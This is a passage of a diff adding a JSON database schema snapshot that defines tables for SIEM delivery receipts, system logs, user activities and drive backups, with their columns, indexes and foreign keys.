+ },
+ "deliveryCount": {
+ "name": "deliveryCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "siem_delivery_cursors_delivered_cursor_pair": {
+ "name": "siem_delivery_cursors_delivered_cursor_pair",
+ "value": "(\"siem_delivery_cursors\".\"lastDeliveredId\" IS NULL) = (\"siem_delivery_cursors\".\"lastDeliveredAt\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.siem_delivery_receipts": {
+ "name": "siem_delivery_receipts",
+ "schema": "",
+ "columns": {
+ "receiptId": {
+ "name": "receiptId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "deliveryId": {
+ "name": "deliveryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "firstEntryId": {
+ "name": "firstEntryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastEntryId": {
+ "name": "lastEntryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "firstEntryTimestamp": {
+ "name": "firstEntryTimestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastEntryTimestamp": {
+ "name": "lastEntryTimestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "entryCount": {
+ "name": "entryCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "deliveredAt": {
+ "name": "deliveredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "webhookStatus": {
+ "name": "webhookStatus",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "webhookResponseHash": {
+ "name": "webhookResponseHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ackReceivedAt": {
+ "name": "ackReceivedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "siem_delivery_receipts_delivery_source_unique": {
+ "name": "siem_delivery_receipts_delivery_source_unique",
+ "columns": [
+ {
+ "expression": "deliveryId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "source",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_siem_receipts_delivery_id": {
+ "name": "idx_siem_receipts_delivery_id",
+ "columns": [
+ {
+ "expression": "deliveryId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_siem_receipts_first_entry": {
+ "name": "idx_siem_receipts_first_entry",
+ "columns": [
+ {
+ "expression": "firstEntryId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_siem_receipts_last_entry": {
+ "name": "idx_siem_receipts_last_entry",
+ "columns": [
+ {
+ "expression": "lastEntryId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_siem_receipts_delivered_at": {
+ "name": "idx_siem_receipts_delivered_at",
+ "columns": [
+ {
+ "expression": "deliveredAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_siem_receipts_source_range": {
+ "name": "idx_siem_receipts_source_range",
+ "columns": [
+ {
+ "expression": "source",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "firstEntryTimestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lastEntryTimestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.system_logs": {
+ "name": "system_logs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "level": {
+ "name": "level",
+ "type": "log_level",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "category": {
+ "name": "category",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "request_id": {
+ "name": "request_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpoint": {
+ "name": "endpoint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "method": {
+ "name": "method",
+ "type": "http_method",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip": {
+ "name": "ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_name": {
+ "name": "error_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_message": {
+ "name": "error_message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error_stack": {
+ "name": "error_stack",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "duration": {
+ "name": "duration",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memory_used": {
+ "name": "memory_used",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memory_total": {
+ "name": "memory_total",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "hostname": {
+ "name": "hostname",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pid": {
+ "name": "pid",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "version": {
+ "name": "version",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_system_logs_timestamp": {
+ "name": "idx_system_logs_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_system_logs_level": {
+ "name": "idx_system_logs_level",
+ "columns": [
+ {
+ "expression": "level",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_system_logs_category": {
+ "name": "idx_system_logs_category",
+ "columns": [
+ {
+ "expression": "category",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_system_logs_user_id": {
+ "name": "idx_system_logs_user_id",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_system_logs_request_id": {
+ "name": "idx_system_logs_request_id",
+ "columns": [
+ {
+ "expression": "request_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_system_logs_error": {
+ "name": "idx_system_logs_error",
+ "columns": [
+ {
+ "expression": "error_name",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_activities": {
+ "name": "user_activities",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "action": {
+ "name": "action",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resource": {
+ "name": "resource",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_id": {
+ "name": "resource_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip": {
+ "name": "ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "idx_user_activities_timestamp": {
+ "name": "idx_user_activities_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_user_activities_user_id": {
+ "name": "idx_user_activities_user_id",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_user_activities_action": {
+ "name": "idx_user_activities_action",
+ "columns": [
+ {
+ "expression": "action",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_user_activities_resource": {
+ "name": "idx_user_activities_resource",
+ "columns": [
+ {
+ "expression": "resource",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "resource_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_files": {
+ "name": "drive_backup_files",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "storagePath": {
+ "name": "storagePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sizeBytes": {
+ "name": "sizeBytes",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mimeType": {
+ "name": "mimeType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "checksumVersion": {
+ "name": "checksumVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backup_files_backup_idx": {
+ "name": "drive_backup_files_backup_idx",
+ "columns": [
+ {
+ "expression": "backupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_files_backupId_drive_backups_id_fk": {
+ "name": "drive_backup_files_backupId_drive_backups_id_fk",
+ "tableFrom": "drive_backup_files",
+ "tableTo": "drive_backups",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_backup_files_backupId_fileId_pk": {
+ "name": "drive_backup_files_backupId_fileId_pk",
+ "columns": [
+ "backupId",
+ "fileId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_members": {
+ "name": "drive_backup_members",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customRoleId": {
+ "name": "customRoleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "invitedBy": {
+ "name": "invitedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "invitedAt": {
+ "name": "invitedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "acceptedAt": {
+ "name": "acceptedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backup_members_backup_idx": {
+ "name": "drive_backup_members_backup_idx",
+ "columns": [
+ {
+ "expression": "backupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_members_backupId_drive_backups_id_fk": {
+ "name": "drive_backup_members_backupId_drive_backups_id_fk",
+ "tableFrom": "drive_backup_members",
+ "tableTo": "drive_backups",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_backup_members_backupId_userId_pk": {
+ "name": "drive_backup_members_backupId_userId_pk",
+ "columns": [
+ "backupId",
+ "userId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_pages": {
+ "name": "drive_backup_pages",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageVersionId": {
+ "name": "pageVersionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "parentId": {
+ "name": "parentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "originalParentId": {
+ "name": "originalParentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "position": {
+ "name": "position",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isTrashed": {
+ "name": "isTrashed",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "trashedAt": {
+ "name": "trashedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backup_pages_backup_idx": {
+ "name": "drive_backup_pages_backup_idx",
+ "columns": [
+ {
+ "expression": "backupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_pages_backupId_drive_backups_id_fk": {
+ "name": "drive_backup_pages_backupId_drive_backups_id_fk",
+ "tableFrom": "drive_backup_pages",
+ "tableTo": "drive_backups",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_backup_pages_pageVersionId_page_versions_id_fk": {
+ "name": "drive_backup_pages_pageVersionId_page_versions_id_fk",
+ "tableFrom": "drive_backup_pages",
+ "tableTo": "page_versions",
+ "columnsFrom": [
+ "pageVersionId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_backup_pages_backupId_pageId_pk": {
+ "name": "drive_backup_pages_backupId_pageId_pk",
+ "columns": [
+ "backupId",
+ "pageId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_permissions": {
+ "name": "drive_backup_permissions",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "canView": {
+ "name": "canView",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "canEdit": {
+ "name": "canEdit",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canShare": {
+ "name": "canShare",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDelete": {
+ "name": "canDelete",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "grantedBy": {
+ "name": "grantedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "note": {
+ "name": "note",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backup_permissions_backup_idx": {
+ "name": "drive_backup_permissions_backup_idx",
+ "columns": [
+ {
+ "expression": "backupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_permissions_backupId_drive_backups_id_fk": {
+ "name": "drive_backup_permissions_backupId_drive_backups_id_fk",
+ "tableFrom": "drive_backup_permissions",
+ "tableTo": "drive_backups",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_backup_permissions_backupId_pageId_userId_pk": {
+ "name": "drive_backup_permissions_backupId_pageId_userId_pk",
+ "columns": [
+ "backupId",
+ "pageId",
+ "userId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_roles": {
+ "name": "drive_backup_roles",
+ "schema": "",
+ "columns": {
+ "backupId": {
+ "name": "backupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "roleId": {
+ "name": "roleId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isDefault": {
+ "name": "isDefault",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "drive_wide_permissions": {
+ "name": "drive_wide_permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "NULL"
+ },
+ "position": {
+ "name": "position",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backup_roles_backup_idx": {
+ "name": "drive_backup_roles_backup_idx",
+ "columns": [
+ {
+ "expression": "backupId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_roles_backupId_drive_backups_id_fk": {
+ "name": "drive_backup_roles_backupId_drive_backups_id_fk",
+ "tableFrom": "drive_backup_roles",
+ "tableTo": "drive_backups",
+ "columnsFrom": [
+ "backupId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "drive_backup_roles_backupId_roleId_pk": {
+ "name": "drive_backup_roles_backupId_roleId_pk",
+ "columns": [
+ "backupId",
+ "roleId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backup_schedules": {
+ "name": "drive_backup_schedules",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "frequency": {
+ "name": "frequency",
+ "type": "drive_backup_schedule_frequency",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'daily'"
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'UTC'"
+ },
+ "nextRunAt": {
+ "name": "nextRunAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastRunAt": {
+ "name": "lastRunAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "drive_backup_schedules_enabled_next_run_idx": {
+ "name": "drive_backup_schedules_enabled_next_run_idx",
+ "columns": [
+ {
+ "expression": "enabled",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "nextRunAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backup_schedules_driveId_drives_id_fk": {
+ "name": "drive_backup_schedules_driveId_drives_id_fk",
+ "tableFrom": "drive_backup_schedules",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_backup_schedules_driveId_unique": {
+ "name": "drive_backup_schedules_driveId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "driveId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drive_backups": {
+ "name": "drive_backups",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "orgVisibility": {
+ "name": "orgVisibility",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "drive_backup_source",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'manual'"
+ },
+ "status": {
+ "name": "status",
+ "type": "drive_backup_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "label": {
+ "name": "label",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reason": {
+ "name": "reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupId": {
+ "name": "changeGroupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupType": {
+ "name": "changeGroupType",
+ "type": "activity_change_group_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isPinned": {
+ "name": "isPinned",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "completedAt": {
+ "name": "completedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "failedAt": {
+ "name": "failedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "failureReason": {
+ "name": "failureReason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_backups_drive_created_at_idx": {
+ "name": "drive_backups_drive_created_at_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_backups_status_idx": {
+ "name": "drive_backups_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_backups_driveId_drives_id_fk": {
+ "name": "drive_backups_driveId_drives_id_fk",
+ "tableFrom": "drive_backups",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_backups_createdBy_users_id_fk": {
+ "name": "drive_backups_createdBy_users_id_fk",
+ "tableFrom": "drive_backups",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "drive_backups_change_group_pair": {
+ "name": "drive_backups_change_group_pair",
+ "value": "(\"drive_backups\".\"changeGroupId\" IS NULL) = (\"drive_backups\".\"changeGroupType\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
